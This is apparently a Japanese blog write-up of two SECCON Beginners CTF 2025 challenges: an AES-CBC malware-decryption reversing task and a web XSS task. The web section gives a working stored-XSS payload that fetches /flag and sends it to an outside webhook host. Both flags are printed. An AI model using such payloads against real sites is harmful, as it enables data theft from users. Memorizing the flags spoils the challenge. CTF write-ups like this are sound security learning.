SECCON Beginners CTF 2025に参加した

投稿日: 2025-08-12

概要

7/26~27に開催されたSECCON Beginners CTF 2025に参加しました。
書くのが遅い!

解いた問題

reversing:MAFC(144 Solve)

MalwareAnalysis-FirstChallenge.exeを実行してみるとflag.txtをゴニョゴニョしてflag.encryptedに変換している事がわかる。

Ghidraで「flag」で文字列検索をかけてみるとFUN_1400011a0()wincrypt.hの関数を呼んで処理をしているのが確認できる。

定数周りの解決が面倒なのでChatGPTにぶん投げして解決。

  • AES-128、CBCモードで暗号化している
  • 鍵は”ThisIsTheEncryptKey”をsha256でハッシュ化したもの
  • IVは”IVCanObfuscation”
    • UTF-16LEであることに注意

これらの情報からPythonで逆ゴニョゴニョするプログラムを作れば終わり。

from Crypto.Cipher import AES
import hashlib

with open('./flag.encrypted', 'rb') as f:
    data = f.read()

    key = hashlib.sha256(b"ThisIsTheEncryptKey").digest()
    iv = "IVCanObfuscation".encode("utf-16le")[:16]

    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(data)

    print(decrypted)
> python solver.py
b'ctf4b{way_2_90!_y0u_suc3553d_2_ana1yz3_Ma1war3!!!}\x00\r\r\r\r\r\r\r\r\r\r\r\r\r'

web:memo4b(157 Solve)

/flagにアクセスすることでフラグを入手できるがlocalhostかつAdminからしか見ることができない。
Admin Botからアクセスして結果を別のところに投げさせるのが目標。

app.get('/flag', (req,res)=> {
  const clientIP = req.socket.remoteAddress;
  const isLocalhost = clientIP === '127.0.0.1' ||
                     clientIP?.startsWith('172.20.');

  if (!isLocalhost) {
    return res.status(403).json({ error: 'Access denied.' });
  }

  if (req.headers.cookie !== 'user=admin') {
    return res.status(403).json({ error: 'Admin access required.' });
  }

  res.type('text/plain').send(FLAG);
});

processEmojis()でペイロード内のコロンで囲まれたhttp(s)リンクをimgタグのsrcにぶち込んでいるのを確認できる。
:https://google.com"onerror="alert(1)":でアラートが出るのを確認したのでこのアプローチで攻める。

function processEmojis(html) {
  return html.replace(/:((?:https?:\/\/[^:]+|[^:]+)):/g, (match, name) => {
    if (emojiMap[name]) {
      return emojiMap[name];
    }

    if (name.match(/^https?:\/\//)) {
      try {
        const urlObj = new URL(name);
        const baseUrl = urlObj.origin + urlObj.pathname;
        const parsed = parse(name);
        const fragment = parsed.hash || '';
        const imgUrl = baseUrl + fragment;

        return `<img src="${imgUrl}" style="height:1.2em;vertical-align:middle;">`;
...

色々試行錯誤した末、以下のペイロードで成功。
:https://google.com"onerror="fetch('/flag').then(res=>res.text()).then(flag=>navigator.sendBeacon('//webhook.site/xxxxxx',flag)):
Admin Botからアクセスしてフラグを入手。
ctf4b{xss_1s_fun_and_b3_c4r3fu1_w1th_url_p4r5e}